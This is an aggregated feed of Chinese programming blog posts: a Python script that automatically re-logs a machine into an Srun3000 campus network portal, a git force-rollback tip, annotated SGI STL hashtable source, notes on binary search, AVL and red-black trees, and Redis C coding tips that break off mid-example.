Quantcast
Channel: 程序人生 »代码疯子
Viewing all 59 articles
Browse latest View live

Srun3000自动登陆脚本

$
0
0

科学院下面联网都是使用的srun3000,实验室原来是不需要认证就能上网的,最近居然跳出认证页面了。不过,srun3000的客户端体验感觉实在是太差了,经常假死,最近更奇怪的是经常掉线,且掉线之后不能进行自动重连,这造成我服务访问我的小服务器而言简直是不能忍受的。

看了下登陆页面的JS代码,发现协议已经描述的很清楚了,password用的是16位MD5加密后的字符串,其他几个字段没发现有什么特殊意义,对于登陆/注销的返回结果也描述的很清楚。这样的话就可以写个Python脚本循环检查是否能访问外网,如果不能就尝试登陆操作,如果登陆失败就先尝试注销。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
#!/usr/bin/env python
# -*- coding:utf-8 -*-
 
import re
import time
import urllib
import urllib2
import hashlib
import datetime
 
class Srun:
    def __init__(self, host, username, password, interval):
        self.username = username
        self.password = hashlib.md5(password).hexdigest()[8:-8]
        self.interval = interval
        self.host = host
        self.headers = {
            "Host": self.host,
            "Connection": "keep-alive",
            "Content-Length": "60",
            "Origin": "http://" + self.host,
            "User-Agent": "Mozilla/5.0 (Windows NT 6.1) Chrome/25.0.1364.172",
            "Content-Type": "application/x-www-form-urlencoded",
            "Accept": "*/*",
            "Referer": "http://" + self.host + "/index.html",
            "Accept-Language": "zh-CN,zh;q=0.8",
            "Accept-Charset": "GBK,utf-8;q=0.7,*;q=0.3"
        }
        self.parameters = {
            "username": self.username,
            "password": self.password,
            "drop": "0",
            "type": "1",
            "n": "100"
        }
        self.login_url = "http://%s/cgi-bin/do_login" % self.host
        self.logout_url = "http://%s/cgi-bin/do_logout" % self.host
 
    def __get_param_len(self):
        res = 0
        for k,v in self.parameters.items():
            res += len(k) + len(v) + 1
        return res-1
 
    def __connect(self, url, param):
        self.parameters["n"] = "%d" % param
        self.headers["Content-Length"] = "%d" % self.__get_param_len()
        try:
            data = urllib.urlencode(self.parameters)
            req = urllib2.Request(url, data, self.headers)
            res = urllib2.urlopen(req)
            return res.read()
        except Exception, e:
            print e
        return None
 
    def __login(self):
        data = self.__connect(self.login_url, 100)
        if data == "ip_exist_error":
            self.__log("IP still online, sleeping 30 seconds")
            time.sleep(30)
            return self.__login()
 
        pattern = re.compile(r"\s*\d+[^\S]*")
        res = pattern.findall(data)
        if res != None and len(res) > 0:
            return True
        return False
 
    def __logout(self):
        data = self.__connect(self.logout_url, 1)
        if data == "logout_ok":
            return True
        return False
 
    def __checkOnline(self):
        req = urllib2.Request("http://www.baidu.com/")
        res = urllib2.urlopen(req)
        if res.read().find(self.host) != -1:
            return False
        return True
 
    def __log(self, msg):
        _time = datetime.datetime.now().strftime("%H:%M:%S")
        print "[%s] %s" % (_time, msg)
 
    def run(self):
        while True:
            if self.__checkOnline() == True:
                self.__log("online")
                self.__log("sleeping %d seconds" % self.interval)
                time.sleep(self.interval)
                continue
 
            self.__log("offline, try login now...")
            if self.__login() == True:
                self.__log("login success")
            else:
                self.__log("login failure, try logout now...")
                self.__log("sleeping 60 seconds after logout")
                self.__logout()
                time.sleep(60)
 
def main():
    while True:
        try:
            srun = Srun("{server_ip}", "{username}", "{password}", 30)
            #srun = Srun("{1.1.1.1}", "{22user}", "{33pwd}", 30)
            srun.run()
        except Exception, e:
            print e
            time.sleep(10)
 
if __name__ == "__main__":
    main()

GitHub: https://github.com/Wins0n/PyUtility/blob/master/SrunLogin.py

Git强制回滚到指定版本,将commit_id之后提交的数据彻底删除:

git reset --hard <commit_id>
git push origin HEAD --force

本文地址: 程序人生 >> Srun3000自动登陆脚本
作者:代码疯子(Wins0n) 本站内容如无声明均属原创,转载请保留作者信息与原文链接,谢谢!


STL笔记之hashtable

$
0
0

之前对hash一直存在恐惧感,毕竟没用过……最近在一个组件里面自己实现了一个hashtable,感觉也就这么回事;回头看看书上对hashtable的分析,发现是极其的相似。不过,旧版本的C++标准里面并没有hashtable这个东西,而C++11中引入了相关的容器(std::unordered_set, std::unordered_multiset, std::unordered_map, std::unordered_multimap),所以可以直接使用C++11里面的容器了。

1. hashtable结构
SGI STL中hash table使用的是开链法进行的冲突处理,其结构如图所示:
SGI STL hash table结构

hash table的节点定义如下:

template <class _Val>
struct _Hashtable_node
{
  _Hashtable_node* _M_next;
  _Val _M_val;
};

2. hashtable迭代器
这里省略了不必要的代码,只需要注意迭代器类型、成员组成以及几个关键的操作即可。

struct _Hashtable_iterator {
  typedef _Hashtable_node<_Val> _Node;
 
  typedef forward_iterator_tag iterator_category;
 
  _Node* _M_cur;
  _Hashtable* _M_ht;
 
  iterator& operator++();
  iterator operator++(int);
};

hashtable的迭代器类型为ForwardIterator,所以只支持operator++操作。

template <class _Val, class _Key, class _HF, class _ExK, class _EqK,
          class _All>
_Hashtable_iterator<_Val,_Key,_HF,_ExK,_EqK,_All>&
_Hashtable_iterator<_Val,_Key,_HF,_ExK,_EqK,_All>::operator++()
{
  // 从当前的节点开始进行遍历操作
  const _Node* __old = _M_cur;
  // 取得下一个节点的指针
  _M_cur = _M_cur->_M_next;
  // 如果为空,表明当前的bucket已经没有节点了,需要指向下一个存在节点的bucket
  if (!_M_cur) {
    // 取得当前的bucket索引值
    size_type __bucket = _M_ht->_M_bkt_num(__old->_M_val);
    // 寻找下一个存在节点的bucket
    while (!_M_cur && ++__bucket < _M_ht->_M_buckets.size())
      _M_cur = _M_ht->_M_buckets[__bucket];
  }
  return *this;
}
 
// operator++(int)基于operator++()实现
template <class _Val, class _Key, class _HF, class _ExK, class _EqK,
          class _All>
inline _Hashtable_iterator<_Val,_Key,_HF,_ExK,_EqK,_All>
_Hashtable_iterator<_Val,_Key,_HF,_ExK,_EqK,_All>::operator++(int)
{
  iterator __tmp = *this;
  ++*this;
  return __tmp;
}

3. hashtable关键实现
3.1 素数
很多书籍上提到最好取一个素数作为hash表格的大小,但是看了下网上似乎有两种观点:一种赞同,另一种说取其他数也可以。不过都认同的一个观点是,m不应该是进制数的幂,比如十进制的时候,m如果是10^n,那么结果总是和原始值的后n位相关的,这样冲突的概率会更大。所以,CLRS上面也提到了m常常选择与2的幂不太接近的质数。在这种情况下,取一个素数总是个不坏的选择。

SGI STL提供了28个素数最为备选方案,__stl_next_prime可以选出一个最接近n且比n要大的素数。

enum { __stl_num_primes = 28 };
 
static const unsigned long __stl_prime_list[__stl_num_primes] =
{
  53ul,         97ul,         193ul,       389ul,       769ul,
  1543ul,       3079ul,       6151ul,      12289ul,     24593ul,
  49157ul,      98317ul,      196613ul,    393241ul,    786433ul,
  1572869ul,    3145739ul,    6291469ul,   12582917ul,  25165843ul,
  50331653ul,   100663319ul,  201326611ul, 402653189ul, 805306457ul,
  1610612741ul, 3221225473ul, 4294967291ul
};
 
inline unsigned long __stl_next_prime(unsigned long __n)
{
  const unsigned long* __first = __stl_prime_list;
  const unsigned long* __last = __stl_prime_list + (int)__stl_num_primes;
  const unsigned long* pos = lower_bound(__first, __last, __n);
  return pos == __last ? *(__last - 1) : *pos;
}
 
size_type max_bucket_count() const
{
  return __stl_prime_list[(int)__stl_num_primes - 1];
}

3.2 关键源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
template <class _Val, class _Key, class _HashFcn,
          class _ExtractKey, class _EqualKey, class _Alloc>
class hashtable {
public:
  typedef _Key key_type;
  typedef _Val value_type;
  typedef _HashFcn hasher;
  typedef _EqualKey key_equal;
 
  hasher hash_funct() const { return _M_hash; }
  key_equal key_eq() const { return _M_equals; }
 
private:
  // hash table 节点
  typedef _Hashtable_node<_Val> _Node;
 
private:
  hasher                _M_hash;
  key_equal             _M_equals;
  _ExtractKey           _M_get_key;
  // bucket vector : hash数组本身使用vector进行管理
  vector<_Node*,_Alloc> _M_buckets;
  size_type             _M_num_elements;
 
public:
  hashtable(size_type __n,
            const _HashFcn&    __hf,
            const _EqualKey&   __eql,
            const _ExtractKey& __ext,
            const allocator_type& __a = allocator_type())
    : __HASH_ALLOC_INIT(__a)
      _M_hash(__hf),
      _M_equals(__eql),
      _M_get_key(__ext),
      _M_buckets(__a),
      _M_num_elements(0)
  {
    // 调用_M_initialize_buckets进行初始化操作
    _M_initialize_buckets(__n);
  }
 
  hashtable(size_type __n,
            const _HashFcn&    __hf,
            const _EqualKey&   __eql,
            const allocator_type& __a = allocator_type())
    : __HASH_ALLOC_INIT(__a)
      _M_hash(__hf),
      _M_equals(__eql),
      _M_get_key(_ExtractKey()),
      _M_buckets(__a),
      _M_num_elements(0)
  {
    _M_initialize_buckets(__n);
  }
 
  hashtable(const hashtable& __ht)
    : __HASH_ALLOC_INIT(__ht.get_allocator())
      _M_hash(__ht._M_hash),
      _M_equals(__ht._M_equals),
      _M_get_key(__ht._M_get_key),
      _M_buckets(__ht.get_allocator()),
      _M_num_elements(0)
  {
    _M_copy_from(__ht);
  }
 
  ~hashtable() { clear(); }
 
  size_type size() const { return _M_num_elements; }
  size_type max_size() const { return size_type(-1); }
  bool empty() const { return size() == 0; }
 
  // begin() 返回第一个有效的节点,不存在则返回end()
  iterator begin()
  {
    for (size_type __n = 0; __n < _M_buckets.size(); ++__n)
      if (_M_buckets[__n])
        return iterator(_M_buckets[__n], this);
    return end();
  }
 
  iterator end() { return iterator(0, this); }
 
public:
 
  size_type bucket_count() const { return _M_buckets.size(); }
 
  // 返回hash数组中指定bucket下标上冲突链表的长度
  size_type elems_in_bucket(size_type __bucket) const
  {
    size_type __result = 0;
    for (_Node* __cur = _M_buckets[__bucket]; __cur; __cur = __cur->_M_next)
      __result += 1;
    return __result;
  }
 
  // 插入操作
  pair<iterator, bool> insert_unique(const value_type& __obj)
  {
    resize(_M_num_elements + 1);
    return insert_unique_noresize(__obj);
  }
 
  iterator insert_equal(const value_type& __obj)
  {
    resize(_M_num_elements + 1);
    return insert_equal_noresize(__obj);
  }
 
  pair<iterator, bool> insert_unique_noresize(const value_type& __obj);
  iterator insert_equal_noresize(const value_type& __obj);
 
  // 查找指定的key
  iterator find(const key_type& __key)
  {
    // 计算key得到的下标
    size_type __n = _M_bkt_num_key(__key);
    // 遍历冲突链表
    _Node* __first;
    for ( __first = _M_buckets[__n];
          __first && !_M_equals(_M_get_key(__first->_M_val), __key);
          __first = __first->_M_next)
      {}
    return iterator(__first, this);
  }
 
  // 计算具有指定key的节点的个数
  size_type count(const key_type& __key) const
  {
    const size_type __n = _M_bkt_num_key(__key);
    size_type __result = 0;
 
    for (const _Node* __cur = _M_buckets[__n]; __cur; __cur = __cur->_M_next)
      if (_M_equals(_M_get_key(__cur->_M_val), __key))
        ++__result;
    return __result;
  }
 
private:
  // 计算hash表格的大小(取素数表中的合适的素数)
  size_type _M_next_size(size_type __n) const
    { return __stl_next_prime(__n); }
 
  // 初始化hash数组
  void _M_initialize_buckets(size_type __n)
  {
    const size_type __n_buckets = _M_next_size(__n);
    _M_buckets.reserve(__n_buckets);
    _M_buckets.insert(_M_buckets.end(), __n_buckets, (_Node*) 0);
    _M_num_elements = 0;  // 实际节点个数
  }
 
  // 计算下标的几组函数
  size_type _M_bkt_num_key(const key_type& __key) const
  {
    return _M_bkt_num_key(__key, _M_buckets.size());
  }
 
  size_type _M_bkt_num(const value_type& __obj) const
  {
    return _M_bkt_num_key(_M_get_key(__obj));
  }
 
  size_type _M_bkt_num_key(const key_type& __key, size_t __n) const
  {
    return _M_hash(__key) % __n;
  }
 
  size_type _M_bkt_num(const value_type& __obj, size_t __n) const
  {
    return _M_bkt_num_key(_M_get_key(__obj), __n);
  }
 
  // 内存管理:分配新节点
  _Node* _M_new_node(const value_type& __obj)
  {
    _Node* __n = _M_get_node();
    __n->_M_next = 0;
    __STL_TRY {
      construct(&__n->_M_val, __obj);
      return __n;
    }
    __STL_UNWIND(_M_put_node(__n));
  }
 
  // 内存管理:节点回收
  void _M_delete_node(_Node* __n)
  {
    destroy(&__n->_M_val);
    _M_put_node(__n);
  }
};
 
// 插入操作,不允许重复
template <class _Val, class _Key, class _HF, class _Ex, class _Eq, class _All>
pair<typename hashtable<_Val,_Key,_HF,_Ex,_Eq,_All>::iterator, bool>
hashtable<_Val,_Key,_HF,_Ex,_Eq,_All>
  ::insert_unique_noresize(const value_type& __obj)
{
  const size_type __n = _M_bkt_num(__obj);
  _Node* __first = _M_buckets[__n];
 
  // 如果已经存在则直接返回
  for (_Node* __cur = __first; __cur; __cur = __cur->_M_next)
    if (_M_equals(_M_get_key(__cur->_M_val), _M_get_key(__obj)))
      return pair<iterator, bool>(iterator(__cur, this), false);
 
  // 插入新节点
  _Node* __tmp = _M_new_node(__obj);
  __tmp->_M_next = __first;
  _M_buckets[__n] = __tmp;
  ++_M_num_elements;
  return pair<iterator, bool>(iterator(__tmp, this), true);
}
 
// 插入操作,允许重复
template <class _Val, class _Key, class _HF, class _Ex, class _Eq, class _All>
typename hashtable<_Val,_Key,_HF,_Ex,_Eq,_All>::iterator
hashtable<_Val,_Key,_HF,_Ex,_Eq,_All>
  ::insert_equal_noresize(const value_type& __obj)
{
  const size_type __n = _M_bkt_num(__obj);
  _Node* __first = _M_buckets[__n];
 
  // 如果发现同样的key的节点存在,则插入到这个节点之后
  for (_Node* __cur = __first; __cur; __cur = __cur->_M_next)
    if (_M_equals(_M_get_key(__cur->_M_val), _M_get_key(__obj))) {
      _Node* __tmp = _M_new_node(__obj);
      __tmp->_M_next = __cur->_M_next;
      __cur->_M_next = __tmp;
      ++_M_num_elements;
      return iterator(__tmp, this);
    }
 
  // 否则插入到链表头部
  _Node* __tmp = _M_new_node(__obj);
  __tmp->_M_next = __first;
  _M_buckets[__n] = __tmp;
  ++_M_num_elements;
  return iterator(__tmp, this);
}
 
// 查找或者插入:找到则直接返回,否则进行插入操作
template <class _Val, class _Key, class _HF, class _Ex, class _Eq, class _All>
typename hashtable<_Val,_Key,_HF,_Ex,_Eq,_All>::reference
hashtable<_Val,_Key,_HF,_Ex,_Eq,_All>::find_or_insert(const value_type& __obj)
{
  resize(_M_num_elements + 1);
 
  size_type __n = _M_bkt_num(__obj);
  _Node* __first = _M_buckets[__n];
 
  for (_Node* __cur = __first; __cur; __cur = __cur->_M_next)
    if (_M_equals(_M_get_key(__cur->_M_val), _M_get_key(__obj)))
      return __cur->_M_val;
 
  _Node* __tmp = _M_new_node(__obj);
  __tmp->_M_next = __first;
  _M_buckets[__n] = __tmp;
  ++_M_num_elements;
  return __tmp->_M_val;
}
 
// 删除指定key的节点
template <class _Val, class _Key, class _HF, class _Ex, class _Eq, class _All>
typename hashtable<_Val,_Key,_HF,_Ex,_Eq,_All>::size_type
hashtable<_Val,_Key,_HF,_Ex,_Eq,_All>::erase(const key_type& __key)
{
  const size_type __n = _M_bkt_num_key(__key);
  _Node* __first = _M_buckets[__n];
  size_type __erased = 0;
 
  if (__first) {
    _Node* __cur = __first;
    _Node* __next = __cur->_M_next;
    while (__next) {
      if (_M_equals(_M_get_key(__next->_M_val), __key)) {
        __cur->_M_next = __next->_M_next;
        _M_delete_node(__next);
        __next = __cur->_M_next;
        ++__erased;
        --_M_num_elements;
      }
      else {
        __cur = __next;
        __next = __cur->_M_next;
      }
    }
    if (_M_equals(_M_get_key(__first->_M_val), __key)) {
      _M_buckets[__n] = __first->_M_next;
      _M_delete_node(__first);
      ++__erased;
      --_M_num_elements;
    }
  }
  return __erased;
}
 
// 重新调整表格大小
template <class _Val, class _Key, class _HF, class _Ex, class _Eq, class _All>
void hashtable<_Val,_Key,_HF,_Ex,_Eq,_All>
  ::resize(size_type __num_elements_hint)
{
  const size_type __old_n = _M_buckets.size();
  // 超过原来表格的大小时才进行调整
  if (__num_elements_hint > __old_n) {
    // 新的表格大小
    const size_type __n = _M_next_size(__num_elements_hint);
    // 在边界情况下可能无法调整(没有更大的素数了)
    if (__n > __old_n) {
      vector<_Node*, _All> __tmp(__n, (_Node*)(0),
                                 _M_buckets.get_allocator());
      __STL_TRY {
        // 填充新的表格
        for (size_type __bucket = 0; __bucket < __old_n; ++__bucket) {
          _Node* __first = _M_buckets[__bucket];
          while (__first) {
            size_type __new_bucket = _M_bkt_num(__first->_M_val, __n);
            _M_buckets[__bucket] = __first->_M_next;
            __first->_M_next = __tmp[__new_bucket];
            __tmp[__new_bucket] = __first;
            __first = _M_buckets[__bucket];
          }
        }
        // 通过swap交换
        _M_buckets.swap(__tmp);
      }
#         ifdef __STL_USE_EXCEPTIONS
      // 异常处理
      catch(...) {
        for (size_type __bucket = 0; __bucket < __tmp.size(); ++__bucket) {
          while (__tmp[__bucket]) {
            _Node* __next = __tmp[__bucket]->_M_next;
            _M_delete_node(__tmp[__bucket]);
            __tmp[__bucket] = __next;
          }
        }
        throw;
      }
#         endif /* __STL_USE_EXCEPTIONS */
    }
  }
}
 
// 清空hash表
template <class _Val, class _Key, class _HF, class _Ex, class _Eq, class _All>
void hashtable<_Val,_Key,_HF,_Ex,_Eq,_All>::clear()
{
  for (size_type __i = 0; __i < _M_buckets.size(); ++__i) {
    // 删除每个冲突链表上的所有节点
    _Node* __cur = _M_buckets[__i];
    while (__cur != 0) {
      _Node* __next = __cur->_M_next;
      _M_delete_node(__cur);
      __cur = __next;
    }
    _M_buckets[__i] = 0;
  }
  _M_num_elements = 0;
}

4. unordered_map
C++11标准里面纳入了相关的四个容器:(可以把unordered_map和unordered_multimap当做hashtable来使用)
C++11标准unordered_map
unordered_map很多接口和SGI的hashtable非常相似。不过我并没有用过hashtable,倒是后来用unordered_map用的多一点。例子很多,这里就不说了。

5. swap
在《Effective C++》讲解异常的时候有提到通过swap的方式确保操作要么成功,要么失败。比如如果要修改某一个地方,可以先通过copy构造一个副本,然后对副本进行修改,最后通过swap操作来实现对原始对象的修改。
这一点在上面分析的resize函数中也有很好的体现:

// 重新调整表格大小
template <class _Val, class _Key, class _HF, class _Ex, class _Eq, class _All>
void hashtable<_Val,_Key,_HF,_Ex,_Eq,_All>
  ::resize(size_type __num_elements_hint)
{
  const size_type __old_n = _M_buckets.size();
  if (__num_elements_hint > __old_n) {
    const size_type __n = _M_next_size(__num_elements_hint);
    if (__n > __old_n) {
      vector<_Node*, _All> __tmp(__n, (_Node*)(0),
                                 _M_buckets.get_allocator());
      // =============================================================
      // 构造临时的hash表tmp
      // =============================================================
      __STL_TRY {
        for (size_type __bucket = 0; __bucket < __old_n; ++__bucket) {
          _Node* __first = _M_buckets[__bucket];
          while (__first) {
            size_type __new_bucket = _M_bkt_num(__first->_M_val, __n);
            _M_buckets[__bucket] = __first->_M_next;
            __first->_M_next = __tmp[__new_bucket];
            __tmp[__new_bucket] = __first;
            __first = _M_buckets[__bucket];
          }
        }
      // =============================================================
      // 通过swap交换
      // =============================================================
        _M_buckets.swap(__tmp);
      }
      // =============================================================
      // 如果出错,则析构tmp中的节点
      // =============================================================
      catch(...) {
        for (size_type __bucket = 0; __bucket < __tmp.size(); ++__bucket) {
          while (__tmp[__bucket]) {
            _Node* __next = __tmp[__bucket]->_M_next;
            _M_delete_node(__tmp[__bucket]);
            __tmp[__bucket] = __next;
          }
        }
        throw;
      }
    }
  }
}

STL源码剖析笔记系列
1. STL笔记之空间配置器
2. STL笔记之迭代器
3. STL笔记之vector
4. STL笔记之list
5. STL笔记之优先队列
6. STL笔记之deque
7. STL笔记之slist
8. STL笔记之hashtable


本文地址: 程序人生 >> STL笔记之hashtable
作者:代码疯子(Wins0n) 本站内容如无声明均属原创,转载请保留作者信息与原文链接,谢谢!

STL笔记之二叉查找树

$
0
0

SGI STL的关联容器(map、set、multimap、multiset)底层都是基于红黑树(Red Black Tree,RBT)来实现的,红黑树是一种被广泛使用的二叉查找树(Binary Search Tree,BST),有比较良好的操作效率。

1. 二叉查找树
二叉查找树可提供对数时间的元素插入和访问,其遵循以下规则:任何节点的键值一定大于其左子树中每一个节点的键值,并小于其右子树中每一个节点的键值。不过在极端情况下,当所有节点位于一条链上时,二叉查找树的操作时间为O(N)。二叉查找树样例:
Binary Search Tree 二叉搜索树

1.1 最大值与最小值
根据二叉查找树的性质,最小值即沿着根节点不断沿着左子树下降,最后一个节点即为值最小的节点;同理最大值即沿着根节点不断沿着右子树下降,最后一个节点即为值最大的节点。
1.2 节点的插入
从根节点开始,如果新插入节点的值比当前节点的值要大,则选择右子节点继续对比,否则选择左子结点继续对比,这样操作直到叶节点。将新插入节点做为叶节点的子节点(根据大小关系设置为左子结点或者右子节点)。
二叉查找树插入节点
1.3 节点的删除
根据被删除节点的不同,存在以下几种情况:
1.3.1 被删除节点为叶子节点
直接删除该节点即可(将父节点对应的左[右]子树设置为NULL);
1.3.2 被删除节点只有左子树(或者只有右子树)
将被删除节点的父节点指向被删除节点的指针指向被删除节点的子节点;
1.3.3 被删除节点同时存在左右子树
方法一:找到被删除节点的后继,将被删除节点的值更新为后继节点的值,最后删除后继节点;
方法二:找到被删除节点的前趋,将被删除节点的值更新为前趋节点的值,最后删除前趋节点;
下图展示了方法一删除方法:
二叉搜索树删除节点
1.4 CLRS 12.2-5
证明:如果二叉查找树中的某个节点有两个子女,则其后继没有左子女,其前趋没有右子女。
这个结论是1.3.3的一个支撑。可以用反证法证明:
后继即右子树中值最小的节点,也就是右子树中的最左叶子节点,该节点肯定不可能还存在左子女,否则就不可能是最左的叶子节点了。同理可证前趋没有右子女。

2. AVL树
AVL树属于二叉查找树,在AVL树中任何节点的两个子树的高度最大差别为一,所以它也被称为高度平衡树。查找、插入和删除在平均和最坏情况下都是O(log n),增加和删除可能需要通过一次或多次树旋转来重新平衡这个树。
二叉查找树的查找和插入操作在最坏情况下复杂度为O(N),而AVL树最坏时仍然为O(lgN)。

2.1 节点的旋转
AVL树的插入和删除操作需要借助于节点的旋转来保持树的高度平衡。节点的旋转分为左旋和右旋。旋转之后仍然保持二叉查找树的性质。
二叉查找树节点左旋
右旋操作时左旋操作的逆操作,对旋转操作只要记住保持BST的性质就很好理解了。

2.2 节点的插入
节点的插入结果可以分为四种情况。节点插入之后如果AVL树的平衡遭到破坏,那么,令X为平衡状态被破坏的节点中最深(下方)的节点。
1. 插入点位于X的左子结点的左子树——左左;
2. 插入点位于X的左子结点的右子树——左右;
3. 插入点位于X的右子结点的左子树——右左;
4. 插入点位于X的右子结点的右子树——右右;
对于第1种和第4种情况,进行一次旋转即可保持AVL树的性质;对于第2种、第3种需要进行两次旋转操作来保持AVL树的性质。

情况一:
AVL树节点插入(左左)
情况二:
AVL树插入节点(左右)

3. 红黑树
如果BST满足如何红黑性质,则该BST为红黑树:
1. 每个节点要么是红色,要么是黑色;
2. 根节点为黑色;
3. 如果一个节点为红色,则其子节点必为黑色;
4. 从任一节点至NULL节点的任何路径,包含同样个数的黑节点;
当给红黑树插入一个节点时,为了保证尽可能少的破坏红黑树的性质,我们让:新增的节点着为红色。此时如果插入节点后整棵树只有一个节点,那么性质2被破坏,只要把节点染为黑色即可;而如果新增节点的父节点也为红色,就破坏了性质3,这种情况下操作起来就有点复杂了。

红黑树性质的保持
如果插入一个节点后红黑树性质被破坏,我们需要进行一些操作来保持红黑树节点的性质。这里划分为四种情况(还有另外四种情况是对称的),先做如下约定:
1. 新增节点:X
2. 父节点:P
3. 祖父节点:G
4. 伯父节点:S
5. 曾祖父节点:GG

情况一
S为黑且X为外侧插入,此时旋转PG并更改PG颜色:
S为黑且X为外侧插入
情况二
S为黑且X为内侧插入,先对PX做一次单旋转并更改GX颜色,再对GX做一次单旋转:
S为黑且X为内侧插入
情况三
S为红且X为外侧插入,先对PG做一次单旋转,并更改X的颜色,此时如果GG为黑,则完毕,否则进入情况四:
S为红且X为外侧插入
情况四
S为红且X为外侧插入,先对PG做一次单旋转,并更改X的颜色,此时GG为红,继续往上做,直到不再有父子节点连续为红。
S为红且X为外侧插入

上述四种情况均为P为G的左子结点的情况,当P为G的右子节点时情况是类似的。

STL源码剖析笔记系列
1. STL笔记之空间配置器
2. STL笔记之迭代器
3. STL笔记之vector
4. STL笔记之list
5. STL笔记之优先队列
6. STL笔记之deque
7. STL笔记之slist
8. STL笔记之hashtable
9. STL笔记之二叉查找树


本文地址: 程序人生 >> STL笔记之二叉查找树
作者:代码疯子(Wins0n) 本站内容如无声明均属原创,转载请保留作者信息与原文链接,谢谢!

Redis编程小技巧拾遗

$
0
0

最近接触了一下Redis数据,出于好奇看了下它的源码,觉得这是一个值得一读的开源项目。关于Redis的源码分析,已经有很多网友写了各种分析笔记,而且也有相关的书籍《Redis设计与实现》,因此我觉得完整的写一系列的博客就没有必要了,这里主要记录一些个人觉得有意思或者是值得了解的东西(之前面试也有问到一些问题,如果我早一点接触这些东西的话,可以回答的更好)。

如果对Redis源码有兴趣的话,可以先看一看1.0 Beta版的代码,非常的简短,对一些基本的东西有一个大致的了解之后再选一个新的稳定版本的源码进行阅读和学习。

1. 空数组
对于结构体成员中大小不确定的地方,可以考虑放一个空数组到结构体的末尾,这样通过动态内存分配,就可以合理的设置空间了,当然需要一个成员记录元素的个数。

SDS是Redis封装的一个字符串类型,因为字符串的长度需要动态的控制,所以就用了空数组这个小技巧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
struct sdshdr {
    unsigned int len;
    unsigned int free;
    char buf[];     // 空数组
};
 
sds sdsnewlen(const void *init, size_t initlen) {
    struct sdshdr *sh;
    // 额外的空间大小: 字符串长度initlen,以及用于填充空字符的1字节
    if (init) {
        sh = zmalloc(sizeof(struct sdshdr)+initlen+1);
    } else {
        sh = zcalloc(sizeof(struct sdshdr)+initlen+1);
    }
    if (sh == NULL) return NULL;
    sh->len = initlen;
    sh->free = 0;
    if (initlen && init)
        memcpy(sh->buf, init, initlen);
    sh->buf[initlen] = '\0';
    return (char*)sh->buf;
}

同样的技巧在跳跃表(skiplist)中也有用到。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// 跳跃表节点的定义
typedef struct zskiplistNode {
    robj *obj;
    double score;
    struct zskiplistNode *backward;
    struct zskiplistLevel {
        struct zskiplistNode *forward;
        unsigned int span;
    } level[];      // 空数组
} zskiplistNode;
 
// 跳跃表的定义
typedef struct zskiplist {
    struct zskiplistNode *header, *tail;
    unsigned long length;
    int level;
} zskiplist;
 
zskiplistNode *zslCreateNode(int level, double score, robj *obj) {
    // 通过level计算出额外需要的空间大小
    zskiplistNode *zn = zmalloc(sizeof(*zn)+level*sizeof(struct zskiplistLevel));
    zn->score = score;
    zn->obj = obj;
    return zn;
}
 
zskiplist *zslCreate(void) {
    int j;
    zskiplist *zsl;
 
    zsl = zmalloc(sizeof(*zsl));
    zsl->level = 1;
    zsl->length = 0;
    zsl->header = zslCreateNode(ZSKIPLIST_MAXLEVEL,0,NULL);
    // 初始化level数组
    for (j = 0; j < ZSKIPLIST_MAXLEVEL; j++) {
        zsl->header->level[j].forward = NULL;
        zsl->header->level[j].span = 0;
    }
    zsl->header->backward = NULL;
    zsl->tail = NULL;
    return zsl;
}

2. 宏定义中使用do while(0)
Redis中宏定义中的很多地方都使用了do { } while (0)进行了包裹,如:

1
2
3
4
5
6
#define dictSetVal(d, entry, _val_) do { \
    if ((d)->type->valDup) \
        entry->v.val = (d)->type->valDup((d)->privdata, _val_); \
    else \
        entry->v.val = (_val_); \
} while(0)

如果宏里面的代码包含多条语句的时候,这里的作用就是将其封装为一条语句,这样即使放到没有大括号的if后面也不会有问题了。在网上还看到了另一种do { } while (0)的使用场景(使代码更优美):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
bool foobar()
{
    int *p = new int[10];
    bool bOk = true;
 
    do
    {
        bOk = func1();
        if(!bOk) break;
 
        bOk = func2();
        if(!bOk) break;
 
        bOk = func3();
        if(!bOk) break;
 
        // ..........
    }while(0);
 
    delete[] p;
    return bOk;
}

3. 调试信息打印
自定义assert函数,当条件不通过时打印文件名、行号以及条件信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// #_e 将_e转换为字符串
